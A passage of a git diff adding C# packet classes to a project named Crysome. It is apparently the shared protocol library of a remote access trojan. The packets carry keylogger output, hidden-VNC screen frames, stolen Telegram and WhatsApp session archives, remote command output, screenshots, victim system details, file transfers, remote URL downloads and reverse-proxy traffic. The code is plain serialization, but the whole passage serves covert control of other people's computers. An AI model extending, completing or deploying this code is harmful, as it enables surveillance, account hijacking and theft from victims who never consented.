Write(BinaryWriter w) + { + w.Write(Status ?? ""); + } + + public void Read(BinaryReader r) + { + Status = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/FileTransferResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/FileTransferResponsePacket.cs new file mode 100644 index 0000000..ebd7f02 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/FileTransferResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class FileTransferResponsePacket : IPacket +{ + public string Status { get; set; } + + public FileTransferResponsePacket() + { + } + + public FileTransferResponsePacket(string status) + { + Status = status; + } + + public void Write(BinaryWriter w) + { + w.Write(Status ?? ""); + } + + public void Read(BinaryReader r) + { + Status = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/GetDirectoryResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/GetDirectoryResponsePacket.cs new file mode 100644 index 0000000..60f2289 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/GetDirectoryResponsePacket.cs @@ -0,0 +1,152 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class GetDirectoryResponsePacket : IPacket +{ + public string Name { get; set; } + + public string Path { get; set; } + + public string[] Folders { get; set; } + + public string[] Files { get; set; } + + public long[] FileSizes { get; set; } + + public long[] FolderLastWriteUtcTicks { get; set; } + + public long[] FileLastWriteUtcTicks { get; set; } + + public byte[][] FolderIconPng { get; set; } + + public byte[][] FileIconPng { get; set; } + + public long RequestId { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Name ?? ""); + w.Write(Path ?? ""); + int num = ((Folders != null) ? Folders.Length : 0); + w.Write(num); + if (Folders != null) + { + for (int i = 0; i < num; i++) + { + w.Write(Folders[i] ?? ""); + } + } + int num2 = ((Files != null) ? Files.Length : 0); + w.Write(num2); + if (Files != null) + { + for (int j = 0; j < num2; j++) + { + w.Write(Files[j] ?? ""); + } + } + w.Write((FileSizes != null) ? FileSizes.Length : 0); + if (FileSizes != null) + { + for (int k = 0; k < FileSizes.Length; k++) + { + w.Write(FileSizes[k]); + } + } + for (int l = 0; l < num; l++) + { + long value = ((FolderLastWriteUtcTicks != null && l < FolderLastWriteUtcTicks.Length) ? FolderLastWriteUtcTicks[l] : 0); + w.Write(value); + } + for (int m = 0; m < num2; m++) + { + long value2 = ((FileLastWriteUtcTicks != null && m < FileLastWriteUtcTicks.Length) ? FileLastWriteUtcTicks[m] : 0); + w.Write(value2); + } + WritePngArray(w, FolderIconPng, num); + WritePngArray(w, FileIconPng, num2); + w.Write(RequestId); + } + + private static void WritePngArray(BinaryWriter w, byte[][] arr, int count) + { + for (int i = 0; i < count; i++) + { + byte[] array = ((arr != null && i < arr.Length) ? arr[i] : null); + int num = ((array != null) ? array.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(array); + } + } + } + + private static byte[][] ReadPngArray(BinaryReader r, int count) + { + byte[][] array = new byte[count][]; + for (int i = 0; i < count; i++) + { + int num = r.ReadInt32(); + array[i] = ((num > 0) ? r.ReadBytes(num) : null); + } + return array; + } + + public void Read(BinaryReader r) + { + Name = r.ReadString(); + Path = r.ReadString(); + int num = r.ReadInt32(); + Folders = new string[num]; + for (int i = 0; i < num; i++) + { + Folders[i] = r.ReadString(); + } + int num2 = r.ReadInt32(); + Files = new string[num2]; + for (int j = 0; j < num2; j++) + { + Files[j] = r.ReadString(); + } + int num3 = r.ReadInt32(); + FileSizes = new long[num3]; + for (int k = 0; k < num3; k++) + { + FileSizes[k] = r.ReadInt64(); + } + FolderLastWriteUtcTicks = null; + FileLastWriteUtcTicks = null; + FolderIconPng = null; + FileIconPng = null; + RequestId = 0L; + if (r.BaseStream.Position >= r.BaseStream.Length) + { + return; + } + FolderLastWriteUtcTicks = new long[num]; + for (int l = 0; l < num; l++) + { + FolderLastWriteUtcTicks[l] = r.ReadInt64(); + } + if (r.BaseStream.Position >= r.BaseStream.Length) + { + return; + } + FileLastWriteUtcTicks = new long[num2]; + for (int m = 0; m < num2; m++) + { + FileLastWriteUtcTicks[m] = r.ReadInt64(); + } + if (r.BaseStream.Position < r.BaseStream.Length) + { + FolderIconPng = ReadPngArray(r, num); + FileIconPng = ReadPngArray(r, num2); + if (r.BaseStream.Position < r.BaseStream.Length) + { + RequestId = r.ReadInt64(); + } + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/GetDrivesResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/GetDrivesResponsePacket.cs new file mode 100644 index 0000000..d6eafdd --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/GetDrivesResponsePacket.cs @@ -0,0 +1,44 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class GetDrivesResponsePacket : IPacket +{ + public string[] Drives { get; set; } + + public long RequestId { get; set; } + + public GetDrivesResponsePacket() + { + } + + public GetDrivesResponsePacket(string[] drives, long requestId = 0L) + { + Drives = drives; + RequestId = requestId; + } + + public void Write(BinaryWriter w) + { + w.Write((Drives != null) ? Drives.Length : 0); + if (Drives != null) + { + for (int i = 0; i < Drives.Length; i++) + { + w.Write(Drives[i] ?? ""); + } + } + w.Write(RequestId); + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + Drives = new string[num]; + for (int i = 0; i < num; i++) + { + Drives[i] = r.ReadString(); + } + RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/GetProcessListResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/GetProcessListResponsePacket.cs new file mode 100644 index 0000000..0bb589e --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/GetProcessListResponsePacket.cs @@ -0,0 +1,42 @@ +using System.Collections.Generic; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class GetProcessListResponsePacket : IPacket +{ + public List Processes { get; set; } = new List(); + + public void Write(BinaryWriter w) + { + w.Write(Processes?.Count ?? 0); + if (Processes == null) + { + return; + } + foreach (ProcessListEntry process in Processes) + { + w.Write(process.Name ?? ""); + w.Write(process.Pid); + w.Write((process.IconData != null) ? process.IconData.Length : 0); + if (process.IconData != null && process.IconData.Length != 0) + { + w.Write(process.IconData); + } + } + } + + public void Read(BinaryReader r) + { + Processes = new List(); + int num = r.ReadInt32(); + for (int i = 0; i < num; i++) + { + string name = r.ReadString(); + int pid = r.ReadInt32(); + int num2 = r.ReadInt32(); + byte[] iconData = ((num2 > 0) ? r.ReadBytes(num2) : new byte[0]); + Processes.Add(new ProcessListEntry(name, pid, iconData)); + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/GetSystemInfoResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/GetSystemInfoResponsePacket.cs new file mode 100644 index 0000000..d0bd3c4 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/GetSystemInfoResponsePacket.cs @@ -0,0 +1,52 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class GetSystemInfoResponsePacket : IPacket +{ + public string Identifier { get; set; } + + public string Address { get; set; } + + public int Port { get; set; } + + public string Username { get; set; } + + public string ComputerName { get; set; } + + public string OS { get; set; } + + public GetSystemInfoResponsePacket() + { + } + + public GetSystemInfoResponsePacket(string identifier, string address, int port, string username, string computerName, string os) + { + Identifier = identifier; + Address = address; + Port = port; + Username = username; + ComputerName = computerName; + OS = os; + } + + public void Write(BinaryWriter w) + { + w.Write(Identifier ?? ""); + w.Write(Address ?? ""); + w.Write(Port); + w.Write(Username ?? ""); + w.Write(ComputerName ?? ""); + w.Write(OS ?? ""); + } + + public void Read(BinaryReader r) + { + Identifier = r.ReadString(); + Address = r.ReadString(); + Port = r.ReadInt32(); + Username = r.ReadString(); + ComputerName = r.ReadString(); + OS = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/HvncFramePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/HvncFramePacket.cs new file mode 100644 index 0000000..df7ef58 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/HvncFramePacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class HvncFramePacket : IPacket +{ + public byte[] ImageData { get; set; } + + public HvncFramePacket() + { + } + + public HvncFramePacket(byte[] imageData) + { + ImageData = imageData; + } + + public void Write(BinaryWriter w) + { + w.Write((ImageData != null) ? ImageData.Length : 0); + if (ImageData != null && ImageData.Length != 0) + { + w.Write(ImageData); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/KeylogDataPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/KeylogDataPacket.cs new file mode 100644 index 0000000..1255ef4 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/KeylogDataPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class KeylogDataPacket : IPacket +{ + public string Data { get; set; } = ""; + + public KeylogDataPacket() + { + } + + public KeylogDataPacket(string data) + { + Data = data ?? ""; + } + + public void Write(BinaryWriter w) + { + w.Write(Data ?? ""); + } + + public void Read(BinaryReader r) + { + Data = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/NotifyStatusResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/NotifyStatusResponsePacket.cs new file mode 100644 index 0000000..5a2a8a3 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/NotifyStatusResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class NotifyStatusResponsePacket : IPacket +{ + public string StatusMessage { get; set; } + + public NotifyStatusResponsePacket() + { + } + + public NotifyStatusResponsePacket(string statusMessage) + { + StatusMessage = statusMessage; + } + + public void Write(BinaryWriter w) + { + w.Write(StatusMessage ?? ""); + } + + public void Read(BinaryReader r) + { + StatusMessage = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/OfflineKeylogDataPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/OfflineKeylogDataPacket.cs new file mode 100644 index 0000000..6ad2b19 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/OfflineKeylogDataPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class OfflineKeylogDataPacket : IPacket +{ + public string Data { get; set; } + + public OfflineKeylogDataPacket() + { + } + + public OfflineKeylogDataPacket(string data) + { + Data = data; + } + + public void Write(BinaryWriter w) + { + w.Write(Data ?? ""); + } + + public void Read(BinaryReader r) + { + Data = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/PingResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/PingResponsePacket.cs new file mode 100644 index 0000000..836a708 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/PingResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class PingResponsePacket : IPacket +{ + public long ServerTick { get; set; } + + public PingResponsePacket() + { + } + + public PingResponsePacket(long serverTick) + { + ServerTick = serverTick; + } + + public void Write(BinaryWriter w) + { + w.Write(ServerTick); + } + + public void Read(BinaryReader r) + { + ServerTick = r.ReadInt64(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ProcessListEntry.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ProcessListEntry.cs new file mode 100644 index 0000000..fe42df6 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ProcessListEntry.cs @@ -0,0 +1,21 @@ +namespace Crysome.Common.Network.Packets.Client; + +public class ProcessListEntry +{ + public string Name { get; set; } + + public int Pid { get; set; } + + public byte[] IconData { get; set; } + + public ProcessListEntry() + { + } + + public ProcessListEntry(string name, int pid, byte[] iconData) + { + Name = name ?? ""; + Pid = pid; + IconData = iconData ?? new byte[0]; + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ProxyStatusResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ProxyStatusResponsePacket.cs new file mode 100644 index 0000000..fa772c3 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ProxyStatusResponsePacket.cs @@ -0,0 +1,33 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ProxyStatusResponsePacket : IPacket +{ + public bool Active { get; set; } + + public string Message { get; set; } + + public ProxyStatusResponsePacket() + { + Message = ""; + } + + public ProxyStatusResponsePacket(bool active, string message) + { + Active = active; + Message = message ?? ""; + } + + public void Write(BinaryWriter w) + { + w.Write(Active); + w.Write(Message ?? ""); + } + + public void Read(BinaryReader r) + { + Active = r.ReadBoolean(); + Message = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ReadFileResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ReadFileResponsePacket.cs new file mode 100644 index 0000000..e475321 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ReadFileResponsePacket.cs @@ -0,0 +1,48 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ReadFileResponsePacket : IPacket +{ + public bool Success { get; set; } + + public string ErrorMessage { get; set; } + + public byte[] Data { get; set; } + + public long TransferId { get; set; } + + public ReadFileResponsePacket() + { + } + + public ReadFileResponsePacket(bool success, string errorMessage = null, byte[] data = null, long transferId = 0L) + { + Success = success; + ErrorMessage = errorMessage ?? ""; + Data = data; + TransferId = transferId; + } + + public void Write(BinaryWriter w) + { + w.Write(Success); + w.Write(ErrorMessage ?? ""); + int num = ((Data != null) ? Data.Length : 0); + w.Write(num); + if (Data != null && num > 0) + { + w.Write(Data); + } + w.Write(TransferId); + } + + public void Read(BinaryReader r) + { + Success = r.ReadBoolean(); + ErrorMessage = r.ReadString(); + int num = r.ReadInt32(); + Data = ((num > 0) ? r.ReadBytes(num) : null); + TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ReverseProxyDataPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ReverseProxyDataPacket.cs new file mode 100644 index 0000000..c7ba252 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ReverseProxyDataPacket.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ReverseProxyDataPacket : IPacket +{ + public int ConnectionId { get; set; } + + public byte[] Data { get; set; } + + public ReverseProxyDataPacket() + { + } + + public ReverseProxyDataPacket(int connectionId, byte[] data) + { + ConnectionId = connectionId; + Data = data ?? new byte[0]; + } + + public void Write(BinaryWriter w) + { + w.Write(ConnectionId); + w.Write((Data != null) ? Data.Length : 0); + if (Data != null && Data.Length != 0) + { + w.Write(Data); + } + } + + public void Read(BinaryReader r) + { + ConnectionId = r.ReadInt32(); + int num = r.ReadInt32(); + Data = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ReverseProxyEndPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ReverseProxyEndPacket.cs new file mode 100644 index 0000000..4a51e38 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ReverseProxyEndPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ReverseProxyEndPacket : IPacket +{ + public int ConnectionId { get; set; } + + public ReverseProxyEndPacket() + { + } + + public ReverseProxyEndPacket(int connectionId) + { + ConnectionId = connectionId; + } + + public void Write(BinaryWriter w) + { + w.Write(ConnectionId); + } + + public void Read(BinaryReader r) + { + ConnectionId = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/RunCommandResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/RunCommandResponsePacket.cs new file mode 100644 index 0000000..c6d9dbf --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/RunCommandResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class RunCommandResponsePacket : IPacket +{ + public string Output { get; set; } + + public RunCommandResponsePacket() + { + } + + public RunCommandResponsePacket(string output) + { + Output = output; + } + + public void Write(BinaryWriter w) + { + w.Write(Output ?? ""); + } + + public void Read(BinaryReader r) + { + Output = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ScreenInfo.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ScreenInfo.cs new file mode 100644 index 0000000..9e298d5 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ScreenInfo.cs @@ -0,0 +1,16 @@ +namespace Crysome.Common.Network.Packets.Client; + +public class ScreenInfo +{ + public string Name { get; set; } + + public int X { get; set; } + + public int Y { get; set; } + + public int Width { get; set; } + + public int Height { get; set; } + + public bool IsPrimary { get; set; } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ScreensResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ScreensResponsePacket.cs new file mode 100644 index 0000000..ab3eb1d --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ScreensResponsePacket.cs @@ -0,0 +1,55 @@ +using System; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ScreensResponsePacket : IPacket +{ + public ScreenInfo[] Screens { get; set; } = Array.Empty(); + + public ScreensResponsePacket() + { + } + + public ScreensResponsePacket(ScreenInfo[] screens) + { + Screens = screens ?? Array.Empty(); + } + + public void Write(BinaryWriter w) + { + ScreenInfo[] screens = Screens; + w.Write((screens != null) ? screens.Length : 0); + if (Screens != null) + { + ScreenInfo[] screens2 = Screens; + foreach (ScreenInfo screenInfo in screens2) + { + w.Write(screenInfo.Name ?? ""); + w.Write(screenInfo.X); + w.Write(screenInfo.Y); + w.Write(screenInfo.Width); + w.Write(screenInfo.Height); + w.Write(screenInfo.IsPrimary); + } + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + Screens = new ScreenInfo[num]; + for (int i = 0; i < num; i++) + { + Screens[i] = new ScreenInfo + { + Name = r.ReadString(), + X = r.ReadInt32(), + Y = r.ReadInt32(), + Width = r.ReadInt32(), + Height = r.ReadInt32(), + IsPrimary = r.ReadBoolean() + }; + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/TakeScreenshotResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/TakeScreenshotResponsePacket.cs new file mode 100644 index 0000000..b41a3cd --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/TakeScreenshotResponsePacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class TakeScreenshotResponsePacket : IPacket +{ + public byte[] ImageData { get; set; } + + public TakeScreenshotResponsePacket() + { + } + + public TakeScreenshotResponsePacket(byte[] imageData) + { + ImageData = imageData; + } + + public void Write(BinaryWriter w) + { + w.Write((ImageData != null) ? ImageData.Length : 0); + if (ImageData != null) + { + w.Write(ImageData); + } + } + + public void Read(BinaryReader r) + { + int count = r.ReadInt32(); + ImageData = r.ReadBytes(count); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/TelegramSessionResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/TelegramSessionResponsePacket.cs new file mode 100644 index 0000000..30118dd --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/TelegramSessionResponsePacket.cs @@ -0,0 +1,33 @@ +using System; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class TelegramSessionResponsePacket : IPacket +{ + public string UserName { get; set; } + + public byte[] ZipBytes { get; set; } + + public string Error { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(UserName ?? ""); + w.Write(Error ?? ""); + byte[] zipBytes = ZipBytes; + w.Write((zipBytes != null) ? zipBytes.Length : 0); + if (ZipBytes != null && ZipBytes.Length != 0) + { + w.Write(ZipBytes); + } + } + + public void Read(BinaryReader r) + { + UserName = r.ReadString(); + Error = r.ReadString(); + int num = r.ReadInt32(); + ZipBytes = ((num > 0) ? r.ReadBytes(num) : Array.Empty()); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/WhatsAppSessionResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/WhatsAppSessionResponsePacket.cs new file mode 100644 index 0000000..aae8caa --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/WhatsAppSessionResponsePacket.cs @@ -0,0 +1,43 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class WhatsAppSessionResponsePacket : IPacket +{ + public bool Success { get; set; } + + public string ErrorMessage { get; set; } + + public byte[] ZipData { get; set; } + + public WhatsAppSessionResponsePacket() + { + } + + public WhatsAppSessionResponsePacket(bool success, string errorMessage, byte[] zipData) + { + Success = success; + ErrorMessage = errorMessage ?? ""; + ZipData = zipData; + } + + public void Write(BinaryWriter w) + { + w.Write(Success); + w.Write(ErrorMessage ?? ""); + int num = ((ZipData != null) ? ZipData.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(ZipData); + } + } + + public void Read(BinaryReader r) + { + Success = r.ReadBoolean(); + ErrorMessage = r.ReadString(); + int num = r.ReadInt32(); + ZipData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/WriteFileResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/WriteFileResponsePacket.cs new file mode 100644 index 0000000..3679ee3 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/WriteFileResponsePacket.cs @@ -0,0 +1,26 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class WriteFileResponsePacket : IPacket +{ + public bool Success { get; set; } + + public string ErrorMessage { get; set; } + + public long TransferId { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Success); + w.Write(ErrorMessage ?? ""); + w.Write(TransferId); + } + + public void Read(BinaryReader r) + { + Success = r.ReadBoolean(); + ErrorMessage = r.ReadString(); + TransferId = r.ReadInt64(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/ClientInfoRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/ClientInfoRequestPacket.cs new file mode 100644 index 0000000..4f4b2da --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/ClientInfoRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class ClientInfoRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/DeleteFileRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/DeleteFileRequestPacket.cs new file mode 100644 index 0000000..ae8a965 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/DeleteFileRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class DeleteFileRequestPacket : IPacket +{ + public string Path { get; set; } + + public DeleteFileRequestPacket() + { + } + + public DeleteFileRequestPacket(string path) + { + Path = path; + } + + public void Write(BinaryWriter w) + { + w.Write(Path ?? ""); + } + + public void Read(BinaryReader r) + { + Path = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/DirectLinkRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/DirectLinkRequestPacket.cs new file mode 100644 index 0000000..57a8a3b --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/DirectLinkRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class DirectLinkRequestPacket : IPacket +{ + public string Url { get; set; } + + public DirectLinkRequestPacket() + { + } + + public DirectLinkRequestPacket(string url) + { + Url = url; + } + + public void Write(BinaryWriter w) + { + w.Write(Url ?? ""); + } + + public void Read(BinaryReader r) + { + Url = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/DownloadFileRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/DownloadFileRequestPacket.cs new file mode 100644 index 0000000..b3a1850 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/DownloadFileRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class DownloadFileRequestPacket : IPacket +{ + public string Url { get; set; } + + public DownloadFileRequestPacket() + { + } + + public DownloadFileRequestPacket(string url) + { + Url = url; + } + + public void Write(BinaryWriter w) + { + w.Write(Url ?? ""); + } + + public void Read(BinaryReader r) + { + Url = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/FileTransferRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/FileTransferRequestPacket.cs new file mode 100644 index 0000000..4be5004 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/FileTransferRequestPacket.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class FileTransferRequestPacket : IPacket +{ + public string Filename { get; set; } + + public byte[] FileData { get; set; } + + public FileTransferRequestPacket() + { + } + + public FileTransferRequestPacket(string filename, byte[] fileData) + { + Filename = filename; + FileData = fileData; + } + + public void Write(BinaryWriter w) + { + w.Write(Filename ?? ""); + w.Write((FileData != null) ? FileData.Length : 0); + if (FileData != null) + { + w.Write(FileData); + } + } + + public void Read(BinaryReader r) + { + Filename = r.ReadString(); + int count = r.ReadInt32(); + FileData = r.ReadBytes(count); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/GetAudioDevicesPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetAudioDevicesPacket.cs new file mode 100644 index 0000000..aea354c --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetAudioDevicesPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetAudioDevicesPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/GetCameraDevicesPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetCameraDevicesPacket.cs new file mode 100644 index 0000000..ecf50b4 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetCameraDevicesPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetCameraDevicesPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/GetDirectoryRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetDirectoryRequestPacket.cs new file mode 100644 index 0000000..c4d5c81 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetDirectoryRequestPacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetDirectoryRequestPacket : IPacket +{ + public string Path { get; set; } + + public long RequestId { get; set; } + + public GetDirectoryRequestPacket() + { + } + + public GetDirectoryRequestPacket(string path, long requestId = 0L) + { + Path = path; + RequestId = requestId; + } + + public void Write(BinaryWriter w) + { + w.Write(Path ?? ""); + w.Write(RequestId); + } + + public void Read(BinaryReader r) + { + Path = r.ReadString(); + RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/GetDrivesRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetDrivesRequestPacket.cs new file mode 100644 index 0000000..95cd8c4 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetDrivesRequestPacket.cs @@ -0,0 +1,18 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetDrivesRequestPacket : IPacket +{ + public long RequestId { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(RequestId); + } + + public void Read(BinaryReader r) + { + RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/GetProcessListRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetProcessListRequestPacket.cs new file mode 100644 index 0000000..f2f6018 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetProcessListRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetProcessListRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} 